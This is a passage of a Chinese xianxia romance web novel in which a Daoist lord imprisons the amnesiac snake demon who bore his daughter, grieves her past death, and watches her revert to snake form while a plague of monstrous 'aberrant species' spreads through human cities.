北溯还没反客为主呢,人就退了出去,舔了舔唇,意犹未尽,问他:“你和你妻子经常吻技术很好嘛。” 成镜:“……” 气得额头青筋鼓动。 当初是谁次次强迫他。 他冷了脸,面上绯红还在,眼底的情欲未退,瞧着另有一番风味。 他抬手,扯着绑住她手的发带,拉到她身侧,冷声道:“你方才做的事,说的话,处处冒犯,是为不敬。” 听着他沙哑的声音,北溯想笑,动了动手,那发带拉扯间更松了。 “道君若是不压在我身上,还亲了我,这句话多少还有点可信度。” 成镜僵了身子,慢慢直起身,下了床,身子稍稍侧开,宽大的衣袍遮住,只看背影,没有任何异常。 他冷声道 :“出去。” 北溯挺起身,坐在床沿边,手一动,发带松了,她没再动,假装自己还被绑着,主动问:“那我要去囚牢吗?” 成镜被问住了。 脑海里有个声音在说:她已经发现了你的意图,直接将她关住,到时候她便任由你宰割。你可以报复她对你做的一切,让她也尝尝你受的那些折磨。 可另外一个声音说:她好不容易回来,不能伤到她,已经没有谁能再复活她了。报复她,你不会心疼吗? 成镜不知道自己该怎么做。 明明在看到她回来时,已经决定要折磨她,报复她。但昨晚梦境里看的一切,令他没法再这么做,她的死,她过去遭遇的所有磨难,重于他受到的折磨。 只是一个梦境,将他的决定颠覆。 她还是鳞舞的阿娘。 成镜想了很久,但也只是一瞬间,他抬眸直视女子,对上她含笑的眼。 只是这一眼,打消了他此刻报复她的心。 这样纯粹的笑容,若是她想起一切,还会有吗? 成镜抬手,莲花取代北溯制造的结界,殿内亮光消失,被黑暗取代,一轮圆月悬挂,脚下是无尽的海水。 他还是选择了囚禁她。 像她曾经对他做的那样,将她关在梦境里。 北溯笑容淡去,扯下手上的发带,质问眼前的男人:“道君这是什么意思?” 成镜凝视她良久,脑中闪过无数画面,曾经不堪她屈辱的自己,被情欲拉下深渊的自己,沉迷她戏弄的自己,被她抛弃的自己。 还有,夜夜梦到她,想她再次出现的自己。 一幕一幕,清晰地闪过。 他把发带拿回来,慢条斯理地给自己绑好发,没有发丝遮挡,分明的轮廓完全显露,线条锋利。 他扬起了一抹笑,柔和了面部线条,却更叫人觉得冷。 “不是你说,揭发你,或是囚禁?” 他的声音平淡,像是什么都无法刺激到他。 北溯蹙眉,意识到自己可能干了件蠢事。 男人的笑是好看的,优越的骨相加上这笑,只一眼望去,谁都会沦陷。 但若是在这样的环境中笑,只会让人觉得毛骨悚然。 成镜收了笑,冷脸说话时,那种高不可攀不可觊觎的神性再临。 “这就是囚禁。” 成镜转身,身影消失。 留下一个北溯望了好一会,懊悔一声:“早知道我就不废话那么多,直接把人毒得动不了。” 可恶,还是经验太少了。 她环顾四周,找不到破绽,那月亮看着也不像是出口。 北溯试着用妖力,没反应,用邪气,好像也没反应。 脚下像是水,但踩着是平地,更是奇怪。 “阵法?还是什么玩意……” 找了好一会出口,最终她不得不承认一个事实——没有出口,她被囚禁了。 北溯盘坐在水面上,仔细复盘,最后冷笑。 “没见过扮猪吃虎成这样的,看起来柔弱好拿捏,实则心眼子巨多。” 不愧是人族最强者,她失算了。 她摸了摸自己的唇,再一想他的反应,眸色暗下来。 寝殿留给了她,成镜只能去囚牢压制邪气。 昏暗的囚牢里,所有污秽之物都可肆意横行,成镜所有的力气都用去压制邪气,根本没有余力去压制旁的。 他端坐在莲台上,刻意忽视被她勾起的欲念,越忽视,越容易膨胀,不受控制。 邪气被封锁,灵气涌入灵脉,成镜缓了口气,要起身时,身子一僵。 莲台回了他体内,他却靠在墙上,无助地扬起脖颈。 喉头滚动,上上下下,理好的发丝散乱,他紧闭着眼,咬紧了唇,不发出一丝声音。 脑海里却不受控制地浮现女子的身影,她被他压在身下,红发带勒出红痕,那是他在她身上留下的痕迹,最好是能烙印在皮肤上,永远都不会褪。 让她永远记住他。 许久之后,囚牢里才响起一声低哑的喘息。 成镜没有立刻出囚牢,换上一身干净的新衣,将之前那件烧了。 火焰舔舐衣衫,火光只照亮了他的下巴,隐匿在黑暗中的眼漆黑一片,暗流涌动。 北溯没想到两个时辰后又见到了成镜。 一见他换了身紫色宽袍,挑眉道:“道君不用特地换一见衣裳来见我。” 成镜没理她这句话,背在身后的手捏紧,控制自己的情绪,想到自己要说的话,酝酿了会,移开眼没有与她对视,用没什么起伏的声音说:“鳞舞回来时,不要对她说那些。” 北溯站直了身子,反问他:“道君是在请我办事?” 成镜蹙眉,将这句话仔细思考过后,说:“你可以这么认为。” 北溯笑了,再次问他:“道君让我不要说什么?不说我是妖兽,还是道君刻意换了身份给我送令牌,还是我亲了道君——” “闭嘴!”成镜猛地回头,对上她的双眼,在她眼里看到了讥笑,笑自己可笑,居然还请她配合他瞒住鳞舞。 他的反应太强烈,北溯不爱听,也不想他用这种凶狠的语气对自己说话,反正都已经摊牌了,没必要再假装客气。 “我很好奇,她娘是谁。”这么紧张孩子,她娘在他心里,该是很重要吧。 北溯忽然觉得不爽。 这样处处合她心意的人,怎么没能早点遇到,早点拿下。 “你不用知道。”成镜呼吸过后,极力控制自己保持情绪稳定,不显露一丝异样。 “你不说,我就不帮你。” 结果她一句话打碎了他所有的防线。 成镜几步来到她面,掐住她的下巴,咬牙切齿。 “你想一直被困在这里?” 北溯眨了眨眼,掰开他的手,不急不缓道:“也不是不可以。” 他低声喊她的名字:“北溯——” 北溯收紧了手,攥住他的手腕,眼神瞬间犀利,杀意外泄,质问他:“你怎么知道我的真名?你收我为徒,早有预谋?” 有那么一瞬间,成镜气笑了,他望着眼前对自己充满防备的女子,觉得自己不该对她心软。 应该将她关到囚牢里,让她也尝尝只有她一个人,漫长等待他回来的滋味。恐惧,期望一点点落空,最后告诉她,他死了。 “我可以不用你配合。”他使劲抽回手,挺直了身子,冷眼看她,那是一种可随意捏死弱者的蔑视。 “我可以杀了你,也可以折磨你,我可以做得天衣无缝,没有任何人会发现。” “鳞舞也不会。” 他再次笑了出来,却是带着对她的恨。 为何不论十年前,还是现在,你从不会为我考虑过一次。 他笑着,轻轻握住她的手腕,力道却大得不容她挣扎,被他抬起,按到他胸口。 “北溯,你摸摸,这里有颗心。” 北溯觉得他应该是疯了。 “可是,这颗心死了。” 他心疼她,可她不会心疼他。 在她死的那晚,他的心也跟着一起死了。 第60章 莲梗编织的摇篮里睡着一个婴孩,恬静安宁,呼吸绵长,不似昨晚那般吵闹。 摇篮一侧,翻开的泥土溅落到白衣上,那人单膝跪着,双手挖地上的土。 泥土被翻开,这处昨晚才被埋好的坟,今晚被挖了。 他似乎魔怔了,十指插入泥土中,再捧出来,堆到一边,土坑边上的土堆已经有小臂高,他还在挖。 漆黑的夜包容所有无法于白日中行的事,没有人会知道他深夜来了此处,亲手刨开她的坟。 直到坑里显现莲叶一角,他停了手,直愣愣望着莲叶,原本稳稳刨土的手此刻却颤抖起来。 周围似乎有风刮过,吹得他身上凉凉的,竟然有些冷。 成镜做了很长一段时间的心 理准备,才伸手去拂开莲叶上的泥土,待全都弄干净了,才小心翼翼打开。 里头是灰,没什么味道。 莲叶打开的瞬间,他怔愣着,不知道自己接下来应该干什么。 来之前,他想得很清楚,也许那是她的障眼法,用来骗他,让他以为她死了,然后他就不会追杀她。 可真正将她的骨灰挖出来,感觉不到一丝她的神魂存在,所有的迹象都表明,她真的死了,这是无法更改的事实。 成镜伸手,指尖碰了一下她的骨灰,轻轻眨了眼。 啪嗒一声,有什么东西滴落到骨灰里,很快洇湿,颜色更深。 两日过去,他还是想不明白她是怎么死的。 他也只不过是耗费了那么一点时间去将孩子生出来,她怎么就死了。 成镜想不通,分明几日前,她还能迎战数名昆仑仙尊,她强大到完全压制了他,她又怎会死。 “你把孩子丢下了。” 昨晚他还在说,孩子与她无关,只他一人养就可以。 现在,他却想用孩子,让她回来。 但没有人回答他的话,也没人出现,次次看她离开的背影,这一次,成了永别。 成镜无力地撑着地面,五指深陷土中,手指沾满污渍,他却没有清洁,什么都没有做。 只看着面前死人的骨灰。 他以为这两天所见不过是场梦,等梦醒了,她或许就会打开殿门,回来。然后要抢走孩子,他恢复了力量,可以阻止她,再按照自己先前所想的,报复她。 可他看到自己埋的骨灰,发觉这场梦,没有醒的只有自己。 曾经被她折磨的日夜,真就成了将他锁住的梦,只有他被锁在里面,出不来,也无法再沉沦。 因为清醒地认知到,编织这场梦,将他从高台拉入泥塘中的人,死了。 当初是她将他拉入梦中,她倒是干脆利落地脱身,没有告诉他,他该怎么出来。 成镜偏头看向摇篮里的孩子,嘴角扯出嘲讽的弧度。 若是当初他没有心软,就不会变成现在这样。 他该是在自己恢复力量的时候杀了她,还有这个孩子。 摇篮晃动,孩子动了一下,发出软糯的呢喃,声音很轻,咿呀一声,成镜听得瞬间清醒。 他将莲叶包好,再将土覆上去,压得严实。 他站起身,垂眸凝望她的坟,良久,喉咙里才发出声音来:“好梦。” 那时他确实想让这个已经死去的人在地府里,有个好梦,至少她可以不用再操心妖界,不用再管他们的死活,轻松一点。 但现在,他要收回自己的话。 有些人再活一次,还是改不了骨子里的恶劣和无情。 成镜攥着她的手,按在胸口,妄图在她脸上找到一丝对自己的歉意。 可没有。 她只用看疯子的眼神看自己,甚至还带了疑惑,疑惑他为什么要说出这样的话。 这样的眼神,看得他心凉,顿时觉得自己好像打在了棉花上,一拳头下去,她没什么反应,自己却因为太用力而受伤。 成镜松开手,自嘲地笑了,低声呢喃:“我在期待些什么呢……” 他也不知道自己在期待什么。 重新看到她的瞬间,他以为她是回来找自己的,她没有死,还来了道宗,除了他,她还会来找谁? 试探过后,原来她是忘了他,也并非是为他而来道宗。 成镜觉得自己是个小丑,想出那么蹩脚的理由收她为徒,还想着要帮她检查身体里的暗病。她却连一天都等不了,在藕粉里下毒。 他忽然开口:“不用你磨藕粉给鳞舞。” “鳞……舞……”北溯重复这个名字,思绪跳跃。她重新审视面前的男人,在他脸上看到了一丝惊慌。 “是舞宝——” 成镜打断她:“不是。” 他移开眼,不敢看她。心底因为自己的失误懊恼,想了想,脑中空白,忽然不知道接下来该做些什么,气势软了下去。 被北溯敏锐地捕捉到。 他的反应太过异常,傻子都能看出来。 她朝他走近一步,没有被他的威胁唬到,反而笑问他:“道君为何对我反应这么激烈?” 男人不语,只回头看她,似乎在瞪她。 北溯觉得这个人很是奇怪,说他单纯,他知道换身份接近她,还说那块令牌就是他收徒的考验。 说他心眼多,这会子他什么情绪都表现在脸上,还一副埋怨她的表情。 她做了些什么啊,他要用这种表情看她。 不过是亲了几口,喂了点毒液罢了,至于反应这么大…… 北溯慢慢挺直了身子,将所有蛛丝马迹串联起来,豁然开朗。 邪气为什么会在他身上,又为何要接近她,又为什么会露出这副表情,答案就在眼前。 北溯再次朝他走了一步,几乎贴近他的身体,他似乎有些不适,要往后退。 她手疾眼快地扣住他的手,紧紧攥住,盯着他的双眼,问他:“你认识我。” 被她注视着的眼一眨也不眨地望着她,眼底流露出的情绪复杂,只一个眼神,就已经回答了她的问题。 成镜抿唇,不回答她。 北溯捏着他的手不自觉地用力,手腕上已经被捏出了指印,成镜手背的青筋都被勒起,他却没有抽出手,只这么看着她。 他看起来很平静,这层平静的表壳下,波涛汹涌,他在极力忍耐,忍耐着不将压抑了十年的质问与愤恨发泄出来。 只是因为她没有有关他的全部记忆,就算说出来,她也不会感受到他的痛。 他这副倔强的模样落到北溯眼中,只觉得这人真别扭,问什么说什么就好了,干嘛非要犟着不说。 北溯不耐,松开他的手,去扯他衣领,将男人拉到自己眼前,差一点就要贴到他的脸,问他:“你是不是知道我的一切,我忘记的一切?” 成镜瞳孔震颤,视线里全都是女子,耳畔回荡她的声音,脑海里不可抑制地划过一个念头,她知道自己忘了很多事。 坚定的心又动摇了。 她随口一句话,总是能拨动他的心弦。 成镜又在想,她不是故意要忘记他的,她能活下来,定是要付出代价。 他就这么弯着腰,与她平视,胸口的心活了,缓缓跳动。 那是不是意味着,她忘记的那些往事,要由他来告诉她。 他点了头,哑声说:“知道。”没有人知道他说出这两个字时,自己的心跳得有多快。 北溯立即问:“告诉我,你身上的邪气,从何而来,为何会连接到我身上?” 成镜的心平静下来,她问的,是这个。 心头空落落的,他笑自己,你又在期待她问些什么。 从她手中抽出衣领,理好,再站直了,在她的注视下,说:“我知道这邪气从哪来的。” 北溯吐出两个字:“快说。” 她面前的人却冲她笑了一下,随后冷着脸,说:“但我不会告诉你。” 北溯歪头,想咬他。 “你说不说!”着实是被他气笑了,这人看着一本正经,没想到还有这么恼人的一面。 男人不言,只静静看着她,那神情看着令人恼火极了。 北溯觉得他就是有恃无恐,觉得自己伤不到他,拿他没办法。她偏就要把他嘴撬开,就是要他说出来。 她最后说一句:“你说,还是不说?” 成镜摇头,启唇:“不——” 才发出一个字音,人被扑倒,柔软的身体压上来,一口咬住他的唇。 成镜没想到她会这么直接,不,用冲动来形容更准确,以前的她即便直接对她动手,也是在实力碾压他的时候,而现在的她,他只需动动手,就能将她控制住。 但他没这么做。 眼前的一切好似一场梦,一点都不真实。她依旧如从前那般,粗鲁又蛮横,每次都会咬疼他。 成镜很想放任自己沉沦在这场等了十年之久后,再次归来的梦中,可他总觉得眼前的人是假的,她的触碰也是假的,连自己碰到的身体,很快就会消失。 这些年他做了无数个有她的梦,但每一个一醒来,屋里是空的。 他害怕自己一旦碰上去,就会扑空,连人都看不到。 他睁着眼,仔仔细细看她,想将这张脸刻在脑海里,若是她跑了,还能认出她新的模样。 他任 由她吻咬,克制着不回应她,被她压着,没有反抗。 北溯很快察觉到了不对劲,她以为自己这么做,会激怒他,结果他一动不动,任由她无所以为。 她松开他,稍稍起身,瞧见他双眼的瞬间,愣了神。 那双她觉得好看的眼,不知什么时候氤氲了水汽,眼睫一颤,宝石般璀璨的泪滑落。 不知道为什么,北溯下意识伸手去帮他抹了这滴泪。 男人颤着眼帘,没有阻止她。 她伏在他身上,懵了会,才说了句:“你哭什么。” 顿了会,又说:“我弄疼你了?”许是没有之后遭遇背叛和磨难的记忆,此刻的她温柔很多。 男人的眼尾殷红,眼睫上还有湿意,唇上被咬过的痕迹太明显,还被她压着,怎么看,都像是被欺负哭了。 成镜偏头,半晌才说了几个字,声音哑得不像话:“没有。” 不知是说没有哭,还是没被弄疼。 “唔……”北溯改为撑在他身体两侧,头发滑落,戳到他颈窝,可能有点痒,他动了动身子,倒是没有将头发移开。 “现在能告诉我了吗?” 成镜转头看她,眸色深深,张着唇,却没说话。 北溯蹙眉,没想到这人这么难对付,都这样了还不说,难道要她再凶狠些? “为什么不愿意告诉我?” 北溯碰了碰他的眼,这个本是个无意义的动作,手移开时,瞧见了他眼底的痛苦。 像那种被困在牢笼里不见天光的人,经历过绝望,心枯死,再看到希望时,不会轻易相信。 北溯越发地想知道,自己没有的那段记忆,都发生了什么。 “你松开我。” 他终于说话,北溯哦了一声,撑着身子要起来,半道上突然浑身无力,感知到身体的变化,北溯冲他哼笑。 “我起不来了。” 成镜不解,以为她又在戏弄自己,伸手去推,手刚碰到她,掌心一空,啪嗒一声,眼前的女子不见了。 他下意识喊出她的名字,没有回应,眼前没有她的身影。 成镜缓缓瞪大了眼,伸出的手接触的只有冰冷的空气。 那好不容易升起的希望,被打碎了,冷意从背后攀升,蔓延全身,最后探入心脏,紧紧攥住,封住血管,连呼吸都做不到。 还是一场梦吗? 成镜就这么倒在水面上,没有起身,迷茫地望着那轮圆月,脑中空白。 好像,又做了一场梦,这次的梦美好,好到他不想再出去。 成镜知道自己这样不对,但忍不住这么想。 给人希望,又将其剥夺,更加痛苦。 他闭上眼,不愿想自己又做了一个梦。 脖颈冰凉,那凉意从皮肤上沁入身体,并非先前感觉到的那种凉意。 成镜没有反应,依旧闭着眼。 那凉意扩散开来,往下蔓延,碰到锁骨,好像停了会,掉头往上。 下巴凉意攀升,有什么光滑的东西擦过唇,随后消失了片刻。 成镜忽然开眼,心口一停,随即剧烈跳动起来。 一条睁着翠绿竖瞳的蛇正歪头看着他,吐出蛇信,扫过他的脸。 成镜呆滞了会,才意识到这条蛇就是她。 他伸手去碰她,被她躲开,反而被她一口咬住了手指,有点痛,却让人清醒。 成镜缓缓直起身,蛇从他脖颈滑落到腹部,尾巴尖不满地拍打他,竖瞳瞪了他一眼。 他盯着这条蛇看了好一会,一动不动。蛇也仰头看他,眼瞳里全都是对他的嘲笑。 “没见过蛇吗?” “看呆了?” 成镜抬手,指腹抚过她背部,轻轻嗯了一声。 不是梦,她还在。 喉头滚动,他差点忍不住要把她抓住,绕成圈,一把捏在手里,叫她哪都去不了,更不会突然在自己眼前消失。 “身体不太稳定。” 北溯顺口解释了句,低头瞧自己现在的状态,不太满意,这么小的身体,怎么搞事情! 抬头一见成镜变得很大的脸,尾巴不爽地拍了一下他的手,没好气道:“我很快就能恢复。” 成镜嗯了一声,指腹刮了一下她背部的黑鳞,心情前所未有地好。 北溯捕捉到他乱动的手,直接一口咬上去,尖锐的牙齿刺破他的皮肤,把血珠吸走,仰头冲他说:“你别对我动手动脚。” 本来她是占上风的,人都被她压得没有反抗欲了,结果前几日没出现的身体波动,偏就这个时候出来,坏事! 再一看成镜那副表情,北溯都想咬瞎他的眼,他就是在笑她。 自己这副形态没人见过,一般情况下有个一两天就能恢复,现在被他看见,指不定要把她关住。 又失算了。 “你……”成镜本想问她是不是身体有伤才会变回原形,立刻想到应该是凤鸣没法完全做到让她无伤无损地复活,还是得他来。 “什么时候才会回人形。” 北溯无聊地摇了摇尾巴,不告诉他准确的时间:“六七天吧。” “好。”成镜眸中荡出笑意,时间越长越好。 他向黑蛇伸手,被她又一口咬住,没什么杀伤力,他直接捧起她的身体,正好双手合拢,就能将她全都捧住。 北溯第一次被人捧在手心里,不太适应,让他放自己下来,不知道被他弄了什么法术,身子一僵,动不了,只能被他这么捧着。 她瞪着眼睛,冲他道:“阴险。” 成镜不管她说什么,这么好的机会,他不会放过。 没有出梦境,直接动手探查她的身体情况,她的身体里确实空缺了一处,有一处圆环状的空洞,那里本应该是储存力量的地方,她体内的妖力无法进入,邪气倒是可以,但一进入便被吞噬,无法运转。 成镜看向她的眼,猜到那里缺的是什么。 她会问邪气从哪而来,便是不知,他不能冒然将她的力量还回去,得慢慢试。 了解了她的身体情况,成镜捧着她出了梦境。 日光透过窗户照射进来,投在成镜身上,影子罩住黑蛇,他又摸了黑蛇脑袋,在她明显不耐的眼神中,缓缓笑了。 这该是他自她再次出现后,第一次露出的纯粹的笑意。 黑蛇睁着眼,入神地瞧着他,竖瞳倒映出他好看的脸,日光给他添了层金芒,像是远在仙端的神人被世间生灵吸引,投来惊艳的一眼。 却被生灵牢牢记住,妄图将这位神人拉下来,占为己有。 “要怎么做,你才肯告诉我?” 她不再挣扎,心安理得躺在他手心,问他正经事。 成镜走到床沿边做好,凝出莲台,将她放在上面。莲台小了很多,不过放一条蛇绰绰有余。 他说:“我可以告诉你。” 北溯嗯了一声,等他下一句话。 “但在告诉你之前,你需要听我的,按我吩咐的去做。” 知道他不会轻易答应,北溯没抱什么希望,问他:“你说的若是我不愿意的,我也不会求着你说。” 成镜淡声道:“我不会强迫你。”不像你,次次强迫,还一走了之,不想负责。 他现在心情很好,侧身瞧着窗外,估测了时间,说:“舞宝快要回来了,你不 可对她说我们之间发生的事。” 北溯知道,她也不会将这种事告诉小孩。 “我变成了原形,她怕蛇吗?” 成镜转回头去看她,眸色温柔:“她不怕。” “唔……”北溯觉得他有点奇怪。已经不是第一次这么觉得,隐隐能感觉到他对她的情感,不是一般的复杂。 难道自己后来真惹了他,结了仇? 黑蛇疑惑看他,忽然问:“我之前有对你做什么吗?” 北溯盯紧他的表情变化,能看出一丝异样,但被他很快藏好,看不出来。 成镜很想告诉她,她不仅做了,还不止一次,次次让他难受,只留他一人消化,她倒是潇洒得很。 “你确实对我……” 成镜声音戛然而止,看向窗外水栈,禁阵外头两个小小身影慢慢靠近。 “不知道爹爹在和阿娘干什么,藕宝,你说爹爹为什么不让我认阿娘啊?” 藕宝挠头,它也不知道,想了想,说:“可能是想给主母一个惊喜?也许道君想再追求主母一次?” 鳞舞觉得藕宝说的很对,使劲点头:“我会帮爹爹的!爹爹慢吞吞的,靠他自己不知道什么时候才能追到阿娘,我得在阿娘那给爹爹多说几句好话,快点在一起,那样我就能正大光明喊阿娘啦!” 成镜没有再听,无奈地摇头,没想到自己在鳞舞眼里竟然是这样的。 “你怎么不说了?” 北溯的声音将他思绪拉回来,成镜转头,对上黑色翠绿的眼瞳。她的眼睛很好看,晶莹剔透,一望过去,很容易深陷。 成镜撤下对她的禁锢,凝出朵莲花进入她身体,道:“我在你体内下了一道禁制,你若是将事情说出去,或是不听我吩咐,禁制就会被激活,你将会立刻死去。” 北溯动了动身子,确实能动了,淡淡的莲香涌入鼻中,好闻。 “舞宝回来后,不要多说,你只需告诉她,你是——” 成镜的声音戛然而止,奇异的感觉从与莲台的精神连接传来,差点没控制住自己的声音。 “你又在做什么?” 北溯刚把自己咬下的花瓣吃了,见着被咬的位置生出新的花瓣,又咬了上去,边咬边说:“这是什么东西,挺香,还很好吃,入口即化。” 成镜咬牙,抓住她的身子,将莲台收回去,方要将她绑起来,手腕一凉,转眼一看,已经被她缠住,看不到一丝缝隙。 黑鳞在阳光下闪着细碎的光芒,她钻出脑袋,冲他说:“你刚才说什么,我是什么?” 成镜蹙眉,正要回答,手腕被松开,她一下钻进衣衫里,咬了一口。 他当即侧了身子,差点倒在床上。 黑蛇从他衣领里钻出来,挑衅他。 “禁制?道君还会用这种下三滥手段。” 成镜直接用手去摁她,速度没她快,她钻回衣衫里,对着一处就咬。 北溯报复了好几下,还没过瘾,尾巴一扫,碰到她咬到的地方,男人的声音响起,好似很痛苦。 “你再动——” 北溯不仅动,还咬得更狠。 小样,威胁我,我还治不了你? 等她看到眼前好像被自己咬肿了的殷红一点,小心翼翼探出头,对上他难受的表情,说:“我嘴里有毒,你不会坏吧。” 成镜隔着衣衫捏住她,瞪过去:“你觉得呢。” 60-70 第61章 黑蛇挣扎了几下,被扼住了命运的咽喉,挣扎不动,张开口再咬他。 眼睛一直盯着男人,清晰瞧见他从难耐到面无表情,指腹抵着她的上颚,抽出手指,忽然靠近,盯着她嘴里的牙看了好一会。 北溯现在被他控制着,只能张开嘴被他看,正想尾巴用力挣扎一下,什么柔软的东西擦过牙,嘴里被塞进来个东西。 禁锢她的手松开,北溯嚼了嚼,口感和刚才吃的花瓣很像,入口即化,想吐都吐不出来。 “你给我吃了什么东西?”北溯说完这句就觉得耳熟,感觉谁也说过。 成镜不动声色地将摸过她牙的手藏到衣袖里,微微垂头,回答她:“我用灵力凝出的莲花。” 北溯哦了一声,心说这玩意味道还不错。 “我今天功课全都完成了,我就不信爹爹还不让我自己玩!” 外头传来小姑娘的声音,两人几乎同时往窗外看,两个小人一前一后走在水栈上,很快就要走过来。 他们看了会,同时转回头看向对方。绿瞳对上黑眸,都在对方眼里看出了几分紧迫。 “舞宝不怕蛇,我没必要躲着她——” “藏起来,不要让舞宝看到——” 北溯冷眼看他:“我就这么见不得人?” 成镜心头一跳,想说不是,一张口话吞了回去,没有说。他伸手去抓黑蛇,被她灵活地躲开,又钻进了他衣衫里,到处乱爬。 冰凉的鳞片在肌肤上游移,带来的颤栗令他不能自已。已经许久没有被这么碰过,猝不及防被她如此亲密地接触,很难不产生某些反应。 远处的声音越来越近,成镜只能尽力挺直身子,不敢动手,只能用灵力去抓她。 “你再动,我就要激活你体内的禁制。” 他不说这句还好,一说禁制,北溯气得狠狠咬他,“你激活呀,我还怕了你不成。” 成镜的双手紧紧捏着衣衫,只能在寝殿外布下结界,隔绝声音,再次警告她:“别胡闹。” 里面有点闷,北溯停了会,从他散乱的衣领那钻出来,冒出个脑袋,尾巴来回扫,说:“我有胡闹吗?” 被她盯着看,成镜不大自在地移开视线,嗯了一声。 他朝窗外看去,结界不仅隔绝了声音,外界也无法看见里头的场景。鳞舞已经走上重莲殿,正往她寝殿走,快要走过来。 他没有看黑蛇,只低低说道:“舞宝很喜欢你,看到你变回原形,会很担心你。” 北溯尾巴停止了摇晃,想到自己与小姑娘只见了几面,就觉得很亲切,小姑娘也确实很喜欢她。成镜这么说,理由很充分。 “行,我不露面,我回我自己寝殿。” 她刚爬出来准备回去,被人一把抓住,不让她走。 “你干什么?”北溯张口去咬他,身体太小,杀伤力太弱,弄不疼他。 成镜又凝出了莲台,缩小后将她放在上头,控制着莲台漂浮在自己身侧,还在莲台外加了结界,她出不来。 做完这些,再看她在里头挣扎,他微微扬起唇角,无声地说了句: “你跑不了了。” 北溯听不见,她在撞结界,一撞上去就被弹回来,力道不大,但让人牙痒。要不是变成原形的这几天妖力不好使,她怎么会被困住。 黑蛇冲困住她的男人嘶吼一声,不再理他,盘起来趴好,闭上眼,眼不见为净。 成镜嘴角的弧度加深,他看了会,又在结界上设了敛息术,莲台连通着他,只有他能看见这条气鼓鼓的黑蛇。 他起身理衣衫,一提衣领,胸口疼。僵着身体等疼痛过去,垂眸瞧向罪魁祸首,对上她睁开的眼。 北溯瞧见了他散落衣领里的咬痕,看起来咬得有点深,她那时应该再用力点,咬疼他才是。 看着他背过身去理衣衫,生怕被她看见一样。 “我又不会吃了你。” 成镜手里动作一顿,正巧看到自己胸口被她咬出斑驳痕迹的皮肤,咬了一下唇,没有说话,继续理衣衫。 忘了一切确实好,连她吃了自己那么多次,都不记得了,这么轻松地说出来,一点心理负担都没有。 成镜有种想现在就报复回去的冲动,但她现在只是一条蛇,什么都做不了。 他僵了身子,为自己此刻产生的念头感到耻辱。 他真是堕落了,竟然会变得和她一样。 理好衣衫,他转回身正对着她,克制着心底涌起的诡异念头,压低声音:“在你恢复人形前,都不得动用你 的力量。” 北溯尾巴拍了一下莲台,表示知道了。 “莲台散发的灵气可以蕴养你的身体,”顿了顿,成镜又说:“上面的花瓣虽是灵气凝结而成,但……” 他没有继续说,门被敲响,传来鳞舞的声音:“爹爹,你在里面吗?” 成镜蹙眉,扯开结界。 “进来吧。” 门被打开,探进来个毛茸茸的脑袋。 鳞舞走进来,身后跟着藕宝。她今天穿了嫩粉的裙子,扎了个复杂的辫子,很好看。她本来是想让阿娘看看她这身新衣裳的,但是回来没看见阿娘。 大白天的,爹爹还关着门。 探究的目光落到老爹身上,鳞舞疑惑道:“爹爹,你看见阿——” 她的声音被打断:“裴溯有些事要处理,这几日都不在。” “有事要处理”的北溯正在莲台上瞅着这个撒谎不眨眼的男人,此刻一本正经的模样与方才大相径庭。 她看了会,转头去看小姑娘,尾巴扒拉边上的花瓣折起来,垫着下巴,趴在莲台上边吸收灵气,边看小姑娘的表情。 也不知成镜这样的人是怎么带出这么活泼的女儿。 “那她什么时候时候回来呀?”鳞舞还以为今天能和阿娘多接触一会呢,结果阿娘不在。 成镜好一会才回答她:“也许七八日。” 北溯仰起头,她说的是六七日,这人怎么又加了一日。 “好哦,那我再等等。”鳞舞耷拉着脑袋,问到自己想要的信息就走,藕宝拍拍她,跟她一起出去。 北溯瞧着小姑娘经过窗边,尾巴打了一下莲台,问成镜:“孩子娘在她出生时就死了?” 她一直看着窗外,没有注意到成镜看过来的眼。 成镜深深望着她,许久没有说话。 眼前的黑蛇确实是她,也在提醒他,她能活过来,已经很不容易,她甚至无法保持人形,实力也比之前差了很多。忘记了那么多事,也不激动属于她的力量,她到底忘记了多少? 成镜忽然问:“月神当你的师父,应是比我教给你的东西更多。” “道宗还有这号人?” 成镜呼吸一滞,脑中各种思绪飞速闪过,感觉不到方才被她咬的痛,动了动手,说:“以前有。” 她不记得月神。 成镜又道:“人皇城的请神令可请神降,你没有想过去拿吗?” 北溯若有所思,这玩意她听过,但没见过。 “你说这个干什么?” 她疑惑瞅他,觉得他现在很奇怪,问的两句话都和方才的话题没有关联,他是在试探她。 “妖族,应是很恨人族。”成镜说这句话时,将自己撇开了人族范畴。 北溯没再理他,闭眼吸纳灵气,争取早些恢复人形。 她不说话,他也不再问,只静静瞧着她,时间好似停止在此刻,周围安静宁和,这么多年来,鲜少有这样的时候。 成镜将莲台放到枕边,他就坐在床沿边上,闭眼调息。 这样的安静,注定要被打破,当年留下的祸患还未解除,不可能让他们停留在此刻。 禁阵外传来星峦的声音,很急迫:“道君,人界好几座城池出现异种裂缝,已经有不下百名普通人被转化为异种,再这么下去,这几座城池都要沦陷了!” 北溯看不到外头,冲睁开眼看窗外的人说:“你该去救人了。” 只听他嗯了一声,随后眼前视线变高,北溯被他拉着一起去。她想了想,问:“这玩意你们还没找到解决方法?” 北溯之前是想这东西最好把人族都吞了,免得那群人对妖兽喊打喊杀,后来发现这东西很难死,还在不断扩张,就断了这个念头。 她可不想这玩意哪一天飘去妖界,把妖界给占了。 “起初妖气残留在人族体内,最多造成很难愈合的伤,不会将人同化成怪物。”北溯在他耳边说:“后来这玩意进化了,妖气不除,便会成为怪物。” 成镜知道,他在她的过往里看过,这是上界的阴谋,月神与她说时,只说背后之人是比他还强大的存在,连月神都无法抵抗,他们就更没办法。 但若不解决,这世间终将会被摧毁,她的死,也就没有意义。 成镜走出寝殿,瞥见鳞舞站在外面,朝她丢下一句话:“回去准备明日的功课。” 鳞舞失望地哦了一声,一转身就跑进寝殿。 北溯是没见过像他这样要求严格的人,不过这是人家养孩子,她还是不要插手。 “昆仑不帮你们吗?这么多人要死,他们不着急?” 成镜步上水栈,淡淡瞥她一眼,道:“曾经有个邪神杀了昆仑十三名仙尊,还毁了昆仑神器……” 他忽然止住脚,直视北溯,想到自己这三百多年来所有听到有关昆仑的消息,发现他们出昆仑来凡世,一直都是为了杀邪神,没有提到一句灭异种。 分明异种对世间的危害,要大于邪神。 成镜想起了当初月神毁蓬莱,北溯毁昆仑,而昆仑一直都是因北溯毁了那四根通天柱,才追杀她。 不,在她毁了那通天柱之前便已经被昆仑追杀,甚至他们敢杀月神。 所以是有谁通过通天柱下达捕杀月神与北溯的命令,昆仑才会一直追着北溯不放。 一切的一切,都需要去昆仑才可得到求证。 成镜继续往前走,边走边说:“接下来我需要你的配合。” 